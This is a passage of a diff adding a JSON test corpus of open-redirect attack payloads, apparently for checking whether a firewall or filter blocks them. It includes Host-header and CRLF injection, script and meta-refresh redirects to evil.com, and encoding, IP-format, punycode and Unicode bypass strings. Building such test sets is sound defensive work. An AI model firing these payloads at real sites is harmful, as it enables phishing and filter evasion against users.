+ "tags": ["open-redirect", "host-header", "direct", "critical"],
564
+ "expected_block": true,
565
+ "severity_hint": "Critical",
566
+ "notes": "Direct Host header manipulation",
567
+ "category": "Auth"
568
+ },
569
+ {
570
+ "id": "REDIRECT-HEADER-003",
571
+ "payload": "GET / HTTP/1.1\r\nHost: legitimate.com\r\nX-Original-URL: https://evil.com",
572
+ "tags": ["open-redirect", "x-original-url", "bypass", "critical"],
573
+ "expected_block": true,
574
+ "severity_hint": "Critical",
575
+ "notes": "X-Original-URL header redirect",
576
+ "category": "Auth"
577
+ },
578
+ {
579
+ "id": "REDIRECT-META-001",
580
+ "payload": "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.com\">",
581
+ "tags": ["open-redirect", "meta-refresh", "html", "high"],
582
+ "expected_block": true,
583
+ "severity_hint": "High",
584
+ "notes": "Meta refresh redirect (stored XSS context)",
585
+ "category": "Auth"
586
+ },
587
+ {
588
+ "id": "REDIRECT-JS-001",
589
+ "payload": "<script>window.location='https://evil.com'</script>",
590
+ "tags": ["open-redirect", "javascript", "dom", "high"],
591
+ "expected_block": true,
592
+ "severity_hint": "High",
593
+ "notes": "JavaScript window.location redirect",
594
+ "category": "Auth"
595
+ },
596
+ {
597
+ "id": "REDIRECT-JS-002",
598
+ "payload": "<script>document.location.href='https://evil.com'</script>",
599
+ "tags": ["open-redirect", "javascript", "dom", "high"],
600
+ "expected_block": true,
601
+ "severity_hint": "High",
602
+ "notes": "JavaScript document.location redirect",
603
+ "category": "Auth"
604
+ },
605
+ {
606
+ "id": "REDIRECT-JS-003",
607
+ "payload": "<script>location.replace('https://evil.com')</script>",
608
+ "tags": ["open-redirect", "javascript", "replace", "high"],
609
+ "expected_block": true,
610
+ "severity_hint": "High",
611
+ "notes": "JavaScript location.replace redirect",
612
+ "category": "Auth"
613
+ },
614
+ {
615
+ "id": "REDIRECT-PATH-001",
616
+ "payload": "GET /https://evil.com HTTP/1.1",
617
+ "tags": ["open-redirect", "path-prefix", "bypass", "high"],
618
+ "expected_block": true,
619
+ "severity_hint": "High",
620
+ "notes": "URL as path prefix",
621
+ "category": "Auth"
622
+ },
623
+ {
624
+ "id": "REDIRECT-PATH-002",
625
+ "payload": "GET /redirect/https://evil.com HTTP/1.1",
626
+ "tags": ["open-redirect", "path-segment", "bypass", "high"],
627
+ "expected_block": true,
628
+ "severity_hint": "High",
629
+ "notes": "URL in path segment",
630
+ "category": "Auth"
631
+ },
632
+ {
633
+ "id": "REDIRECT-FRAGMENT-001",
634
+ "payload": "GET /page#https://evil.com HTTP/1.1",
635
+ "tags": ["open-redirect", "fragment", "dom-based", "high"],
636
+ "expected_block": false,
637
+ "severity_hint": "High",
638
+ "notes": "DOM-based redirect via fragment",
639
+ "category": "Auth"
640
+ },
641
+ {
642
+ "id": "REDIRECT-ENCODED-001",
643
+ "payload": "GET /redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d HTTP/1.1",
644
+ "tags": ["open-redirect", "url-encoded", "bypass", "critical"],
645
+ "expected_block": true,
646
+ "severity_hint": "Critical",
647
+ "notes": "Fully URL-encoded redirect",
648
+ "category": "Auth"
649
+ },
650
+ {
651
+ "id": "REDIRECT-ENCODED-002",
652
+ "payload": "GET /redirect?url=aHR0cHM6Ly9ldmlsLmNvbQ== HTTP/1.1",
653
+ "tags": ["open-redirect", "base64", "encoded", "high"],
654
+ "expected_block": true,
655
+ "severity_hint": "High",
656
+ "notes": "Base64-encoded redirect URL",
657
+ "category": "Auth"
658
+ },
659
+ {
660
+ "id": "REDIRECT-ENCODED-003",
661
+ "payload": "GET /redirect?url=%2568%2574%2574%2570%253a%252f%252f%2565%2576%2569%256c%252e%2563%256f%256d HTTP/1.1",
662
+ "tags": ["open-redirect", "double-encoded", "bypass", "critical"],
663
+ "expected_block": true,
664
+ "severity_hint": "Critical",
665
+ "notes": "Double URL-encoded redirect",
666
+ "category": "Auth"
667
+ },
668
+ {
669
+ "id": "REDIRECT-CHAIN-001",
670
+ "payload": "GET /redirect?url=https://legitimate.com/redirect?url=https://evil.com HTTP/1.1",
671
+ "tags": ["open-redirect", "chain", "multi-hop", "critical"],
672
+ "expected_block": true,
673
+ "severity_hint": "Critical",
674
+ "notes": "Redirect chain through legitimate site",
675
+ "category": "Auth"
676
+ },
677
+ {
678
+ "id": "REDIRECT-CHAIN-002",
679
+ "payload": "GET /redirect?url=https://www.google.com/url?q=https://evil.com HTTP/1.1",
680
+ "tags": ["open-redirect", "google-redirect", "chain", "high"],
681
+ "expected_block": true,
682
+ "severity_hint": "High",
683
+ "notes": "Chain through Google redirect",
684
+ "category": "Auth"
685
+ },
686
+ {
687
+ "id": "REDIRECT-SHORTENER-001",
688
+ "payload": "GET /redirect?url=https://bit.ly/evillink HTTP/1.1",
689
+ "tags": ["open-redirect", "url-shortener", "obfuscation", "high"],
690
+ "expected_block": true,
691
+ "severity_hint": "High",
692
+ "notes": "URL shortener obfuscation",
693
+ "category": "Auth"
694
+ },
695
+ {
696
+ "id": "REDIRECT-IDN-001",
697
+ "payload": "GET /redirect?url=https://еvil.com HTTP/1.1",
698
+ "tags": ["open-redirect", "idn", "homograph", "critical"],
699
+ "expected_block": true,
700
+ "severity_hint": "Critical",
701
+ "notes": "IDN homograph attack (Cyrillic 'е')",
702
+ "category": "Auth"
703
+ },
704
+ {
705
+ "id": "REDIRECT-IDN-002",
706
+ "payload": "GET /redirect?url=https://xn--vil-8na.com HTTP/1.1",
707
+ "tags": ["open-redirect", "punycode", "idn", "critical"],
708
+ "expected_block": true,
709
+ "severity_hint": "Critical",
710
+ "notes": "Punycode encoded IDN domain",
711
+ "category": "Auth"
712
+ },
713
+ {
714
+ "id": "REDIRECT-PORT-001",
715
+ "payload": "GET /redirect?url=https://evil.com:443 HTTP/1.1",
716
+ "tags": ["open-redirect", "port", "bypass", "high"],
717
+ "expected_block": true,
718
+ "severity_hint": "High",
719
+ "notes": "Explicit port number in redirect",
720
+ "category": "Auth"
721
+ },
722
+ {
723
+ "id": "REDIRECT-PORT-002",
724
+ "payload": "GET /redirect?url=https://evil.com:8443 HTTP/1.1",
725
+ "tags": ["open-redirect", "alt-port", "bypass", "high"],
726
+ "expected_block": true,
727
+ "severity_hint": "High",
728
+ "notes": "Alternative HTTPS port redirect",
729
+ "category": "Auth"
730
+ },
731
+ {
732
+ "id": "REDIRECT-AUTH-001",
733
+ "payload": "GET /redirect?url=https://user:pass@evil.com HTTP/1.1",
734
+ "tags": ["open-redirect", "credentials", "userinfo", "critical"],
735
+ "expected_block": true,
736
+ "severity_hint": "Critical",
737
+ "notes": "Credentials in URL (basic auth bypass)",
738
+ "category": "Auth"
739
+ },
740
+ {
741
+ "id": "REDIRECT-CRLF-001",
742
+ "payload": "GET /redirect?url=https://legitimate.com%0d%0aLocation:%20https://evil.com HTTP/1.1",
743
+ "tags": ["open-redirect", "crlf", "header-injection", "critical"],
744
+ "expected_block": true,
745
+ "severity_hint": "Critical",
746
+ "notes": "CRLF injection for Location header override",
747
+ "category": "Auth"
748
+ },
749
+ {
750
+ "id": "REDIRECT-ARRAY-001",
751
+ "payload": "GET /redirect?url[]=https://legitimate.com&url[]=https://evil.com HTTP/1.1",
752
+ "tags": ["open-redirect", "array", "parameter-pollution", "high"],
753
+ "expected_block": true,
754
+ "severity_hint": "High",
755
+ "notes": "Array parameter pollution",
756
+ "category": "Auth"
757
+ },
758
+ {
759
+ "id": "REDIRECT-ARRAY-002",
760
+ "payload": "GET /redirect?url=https://legitimate.com&url=https://evil.com HTTP/1.1",
761
+ "tags": ["open-redirect", "hpp", "duplicate-param", "high"],
762
+ "expected_block": true,
763
+ "severity_hint": "High",
764
+ "notes": "HTTP Parameter Pollution",
765
+ "category": "Auth"
766
+ },
767
+ {
768
+ "id": "REDIRECT-SPECIAL-001",
769
+ "payload": "GET /redirect?url=https://evil.com/%2e%2e HTTP/1.1",
770
+ "tags": ["open-redirect", "dot-segment", "bypass", "high"],
771
+ "expected_block": true,
772
+ "severity_hint": "High",
773
+ "notes": "Encoded dot segments in path",
774
+ "category": "Auth"
775
+ },
776
+ {
777
+ "id": "REDIRECT-SPECIAL-002",
778
+ "payload": "GET /redirect?url=https://evil.com/./path/../final HTTP/1.1",
779
+ "tags": ["open-redirect", "path-normalization", "bypass", "high"],
780
+ "expected_block": true,
781
+ "severity_hint": "High",
782
+ "notes": "Path normalization dots",
783
+ "category": "Auth"
784
+ },
785
+ {
786
+ "id": "REDIRECT-WILDCARD-001",
787
+ "payload": "GET /redirect?url=https://*.legitimate.com.evil.com HTTP/1.1",
788
+ "tags": ["open-redirect", "wildcard-abuse", "bypass", "critical"],
789
+ "expected_block": true,
790
+ "severity_hint": "Critical",
791
+ "notes": "Wildcard subdomain abuse",
792
+ "category": "Auth"
793
+ },
794
+ {
795
+ "id": "REDIRECT-UNICODE-001",
796
+ "payload": "GET /redirect?url=//google%E3%80%82com HTTP/1.1",
797
+ "tags": ["open-redirect", "unicode", "fullwidth-dot", "bypass", "critical"],
798
+ "expected_block": true,
799
+ "severity_hint": "Critical",
800
+ "notes": "Unicode fullwidth dot bypass (%E3%80%82 = 。)",
801
+ "category": "Auth"
802
+ },
803
+ {
804
+ "id": "REDIRECT-UNICODE-002",
805
+ "payload": "GET /redirect?url=〱google.com HTTP/1.1",
806
+ "tags": ["open-redirect", "unicode", "ideograph", "bypass", "critical"],
807
+ "expected_block": true,
808
+ "severity_hint": "Critical",
809
+ "notes": "Unicode ideograph repeat mark bypass",
810
+ "category": "Auth"
811
+ },
812
+ {
813
+ "id": "REDIRECT-UNICODE-003",
814
+ "payload": "GET /redirect?url=〵google.com HTTP/1.1",
815
+ "tags": ["open-redirect", "unicode", "ideograph", "bypass", "critical"],
816
+ "expected_block": true,
817
+ "severity_hint": "Critical",
818
+ "notes": "Unicode vertical ideograph bypass",
819
+ "category": "Auth"
820
+ },
821
+ {
822
+ "id": "REDIRECT-UNICODE-004",
823
+ "payload": "GET /redirect?url=ゝgoogle.com HTTP/1.1",
824
+ "tags": ["open-redirect", "unicode", "katakana", "bypass", "critical"],
825
+ "expected_block": true,
826
+ "severity_hint": "Critical",
827
+ "notes": "Katakana iteration mark bypass",
828
+ "category": "Auth"
829
+ },
830
+ {
831
+ "id": "REDIRECT-UNICODE-005",
832
+ "payload": "GET /redirect?url=ーgoogle.com HTTP/1.1",
833
+ "tags": ["open-redirect", "unicode", "katakana-dash", "bypass", "critical"],
834
+ "expected_block": true,
835
+ "severity_hint": "Critical",
836
+ "notes": "Katakana-Hiragana prolonged sound mark bypass",
837
+ "category": "Auth"
838
+ },
839
+ {
840
+ "id": "REDIRECT-UNICODE-006",
841
+ "payload": "GET /redirect?url=ーgoogle.com HTTP/1.1",
842
+ "tags": ["open-redirect", "unicode", "halfwidth", "bypass", "critical"],
843
+ "expected_block": true,
844
+ "severity_hint": "Critical",
845
+ "notes": "Halfwidth Katakana sound mark bypass",
846
+ "category": "Auth"
847
+ },
848
+ {
849
+ "id": "REDIRECT-UNICODE-007",
850
+ "payload": "GET /redirect?url=https://evil.c℀.example.com HTTP/1.1",
851
+ "tags": ["open-redirect", "unicode", "normalization", "bypass", "critical"],
852
+ "expected_block": true,
853
+ "severity_hint": "Critical",
854
+ "notes": "Unicode normalization Host/Split attack (℀ -> a/c)",
855
+ "category": "Auth"
856
+ },
857
+ {
858
+ "id": "REDIRECT-UNICODE-008",
859
+ "payload": "GET /redirect?url=http://a.com/X.b.com HTTP/1.1",
860
+ "tags": ["open-redirect", "unicode", "fullwidth-slash", "bypass", "critical"],
861
+ "expected_block": true,
862
+ "severity_hint": "Critical",
863
+ "notes": "Unicode fullwidth slash normalization bypass",
864
+ "category": "Auth"
865
+ },
866
+ {
867
+ "id": "REDIRECT-CRLF-003",
868
+ "payload": "GET /redirect?url=java%0d%0ascript%0d%0a:alert(0) HTTP/1.1",
869
+ "tags": ["open-redirect", "crlf", "javascript-bypass", "critical"],
870
+ "expected_block": true,
871
+ "severity_hint": "Critical",
872
+ "notes": "CRLF bypass for javascript keyword (HTTP request)",
873
+ "category": "Auth"
874
+ },
875
+ {
876
+ "id": "REDIRECT-CRLF-004",
877
+ "payload": "GET /redirect?url=%E5%98%8A%E5%98%8Djavascript:alert(1) HTTP/1.1",
878
+ "tags": ["open-redirect", "utf8-crlf", "firefox-bypass", "critical"],
879
+ "expected_block": true,
880
+ "severity_hint": "Critical",
881
+ "notes": "UTF-8 CRLF bypass (嘊嘍 stripped to 0A0D in Firefox)",
882
+ "category": "Auth"
883
+ },
884
+ {
885
+ "id": "REDIRECT-BACKSLASH-001",
886
+ "payload": "GET /redirect?url=/\\/example.com HTTP/1.1",
887
+ "tags": ["open-redirect", "backslash", "slash-mix", "bypass", "critical"],
888
+ "expected_block": true,
889
+ "severity_hint": "Critical",
890
+ "notes": "Mixed backslash forward slash bypass",
891
+ "category": "Auth"
892
+ },
893
+ {
894
+ "id": "REDIRECT-BACKSLASH-002",
895
+ "payload": "GET /redirect?url=\\/\\/example.com HTTP/1.1",
896
+ "tags": ["open-redirect", "backslash", "protocol-relative", "bypass", "critical"],
897
+ "expected_block": true,
898
+ "severity_hint": "Critical",
899
+ "notes": "Backslash protocol-relative bypass",
900
+ "category": "Auth"
901
+ },
902
+ {
903
+ "id": "REDIRECT-TAB-001",
904
+ "payload": "GET /redirect?url=/%09/example.com HTTP/1.1",
905
+ "tags": ["open-redirect", "tab", "whitespace", "bypass", "critical"],
906
+ "expected_block": true,
907
+ "severity_hint": "Critical",
908
+ "notes": "Tab character whitespace bypass",
909
+ "category": "Auth"
910
+ },
911
+ {
912
+ "id": "REDIRECT-NULL-001",
913
+ "payload": "GET /redirect?url=//google%00.com HTTP/1.1",
914
+ "tags": ["open-redirect", "null-byte", "truncation", "bypass", "critical"],
915
+ "expected_block": true,
916
+ "severity_hint": "Critical",
917
+ "notes": "Null byte domain truncation bypass",
918
+ "category": "Auth"
919
+ },
920
+ {
921
+ "id": "REDIRECT-SEMICOLON-001",
922
+ "payload": "GET /redirect?url=///\\;@example.com HTTP/1.1",
923
+ "tags": ["open-redirect", "semicolon", "userinfo", "bypass", "critical"],
924
+ "expected_block": true,
925
+ "severity_hint": "Critical",
926
+ "notes": "Semicolon with userinfo section bypass",
927
+ "category": "Auth"
928
+ },
929
+ {
930
+ "id": "REDIRECT-JSURI-001",
931
+ "payload": "GET /redirect?url=javascript://www.whitelisted.com?%a0alert%281%29 HTTP/1.1",
932
+ "tags": ["open-redirect", "javascript-uri", "comment", "bypass", "critical"],
933
+ "expected_block": true,
934
+ "severity_hint": "Critical",
935
+ "notes": "JavaScript URI with comment and whitelisted domain",
936
+ "category": "Auth"
937
+ },
938
+ {
939
+ "id": "REDIRECT-HEX-001",
940
+ "payload": "GET /redirect?url=http://%67%6f%6f%67%6c%65%2e%63%6f%6d HTTP/1.1",
941
+ "tags": ["open-redirect", "hex-encoded", "domain", "bypass", "critical"],
942
+ "expected_block": true,
943
+ "severity_hint": "Critical",
944
+ "notes": "Fully hex-encoded domain bypass",
945
+ "category": "Auth"
946
+ },
947
+ {
948
+ "id": "REDIRECT-HEX-002",
949
+ "payload": "GET /redirect?url=%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d HTTP/1.1",
950
+ "tags": ["open-redirect", "hex-encoded", "full-url", "bypass", "critical"],
951
+ "expected_block": true,
952
+ "severity_hint": "Critical",
953
+ "notes": "Fully hex-encoded URL bypass",
954
+ "category": "Auth"
955
+ },
956
+ {
957
+ "id": "REDIRECT-IPENC-001",
958
+ "payload": "GET /redirect?url=http://0xd8.0x3a.0xd6.0xce HTTP/1.1",
959
+ "tags": ["open-redirect", "hex-ip", "encoding", "bypass", "critical"],
960
+ "expected_block": true,
961
+ "severity_hint": "Critical",
962
+ "notes": "Hex-encoded IP address bypass",
963
+ "category": "Auth"
964
+ },
965
+ {
966
+ "id": "REDIRECT-IPENC-002",
967
+ "payload": "GET /redirect?url=http://3627734734 HTTP/1.1",
968
+ "tags": ["open-redirect", "decimal-ip", "dword", "bypass", "critical"],
969
+ "expected_block": true,
970
+ "severity_hint": "Critical",
971
+ "notes": "Decimal (DWORD) IP address bypass",
972
+ "category": "Auth"
973
+ },
974
+ {
975
+ "id": "REDIRECT-IPENC-003",
976
+ "payload": "GET /redirect?url=http://0330.072.0326.0316 HTTP/1.1",
977
+ "tags": ["open-redirect", "octal-ip", "encoding", "bypass", "critical"],
978
+ "expected_block": true,
979
+ "severity_hint": "Critical",
980
+ "notes": "Octal IP address bypass",
981
+ "category": "Auth"
982
+ },
983
+ {
984
+ "id": "REDIRECT-IPENC-004",
985
+ "payload": "GET /redirect?url=http://[::216.58.214.206] HTTP/1.1",
986
+ "tags": ["open-redirect", "ipv6", "mapped", "bypass", "critical"],
987
+ "expected_block": true,
988
+ "severity_hint": "Critical",
989
+ "notes": "IPv6-mapped IPv4 address bypass",
990
+ "category": "Auth"
991
+ },
992
+ {
993
+ "id": "REDIRECT-IPENC-005",
994
+ "payload": "GET /redirect?url=http://[::ffff:216.58.214.206] HTTP/1.1",
995
+ "tags": ["open-redirect", "ipv6", "ffff-mapped", "bypass", "critical"],
996
+ "expected_block": true,
997
+ "severity_hint": "Critical",
998
+ "notes": "IPv6 ::ffff: mapped IPv4 bypass",
999
+ "category": "Auth"
1000
+ },
1001
+ {
1002
+ "id": "REDIRECT-USERINFO-001",
1003
+ "payload": "GET /redirect?url=http://whitelisted.tld@0xd8.072.54990 HTTP/1.1",
1004
+ "tags": ["open-redirect", "userinfo", "hex-octal-ip", "bypass", "critical"],
1005
+ "expected_block": true,
1006
+ "severity_hint": "Critical",
1007
+ "notes": "Userinfo with hex/octal mixed IP bypass",
1008
+ "category": "Auth"
1009
+ },
1010
+ {
1011
+ "id": "REDIRECT-PUNYCODE-001",
1012
+ "payload": "GET /redirect?url=http://xn--ypal-43d9g.com HTTP/1.1",
1013
+ "tags": ["open-redirect", "punycode", "idn", "homograph", "bypass", "critical"],
1014
+ "expected_block": true,
1015
+ "severity_hint": "Critical",
1016
+ "notes": "Punycode IDN homograph bypass (looks like paypal)",
1017
+ "category": "Auth"
1018
+ },
1019
+ {
1020
+ "id": "REDIRECT-DBLENC-001",
1021
+ "payload": "GET /redirect?url=https%253A%252F%252Fevil.com HTTP/1.1",
1022
+ "tags": ["open-redirect", "double-encoded", "bypass", "critical"],
1023
+ "expected_block": true,
1024
+ "severity_hint": "Critical",
1025
+ "notes": "Double URL encoding bypass",
1026
+ "category": "Auth"
1027
+ }
1028
+ ]